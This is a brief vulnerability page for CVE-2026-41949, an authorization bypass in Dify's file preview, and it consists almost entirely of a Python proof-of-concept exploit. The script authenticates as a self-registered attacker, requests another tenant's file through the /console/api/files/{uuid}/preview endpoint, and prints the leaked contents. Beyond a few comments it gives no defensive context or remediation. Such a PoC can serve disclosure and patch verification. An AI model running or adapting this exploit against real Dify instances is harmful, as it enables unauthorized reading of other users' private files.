CVE-2026-41949 Dify文件预览授权绕过漏洞

import requests # Target URL configuration target_host = "https://target-dify-instance.com" # Step 1: Authentication # Note: Dify Cloud allows unauthenticated self-registration. # The attacker creates an account to obtain a valid session cookie or token. session = requests.Session() # login_data = {"email": "[email protected]", "password": "attacker_password"} # session.post(f"{target_host}/console/api/auth/login", json=login_data) # Step 2: Identify Target File UUID # The attacker intercepts a file UUID belonging to another tenant/workspace. # This UUID can be found in browser network traffic or API responses. victim_file_uuid = "uuid-of-the-target-file-here" # Step 3: Exploit Authorization Bypass # Construct the request to the vulnerable preview endpoint. # The system fails to check if the current user owns this file_id. poc_url = f"{target_host}/console/api/files/{victim_file_uuid}/preview" response = session.get(poc_url) # Step 4: Verify Exploitation if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Leaked content (first 3000 chars):\n{response.text}") else: print("[-] Failed to retrieve file.")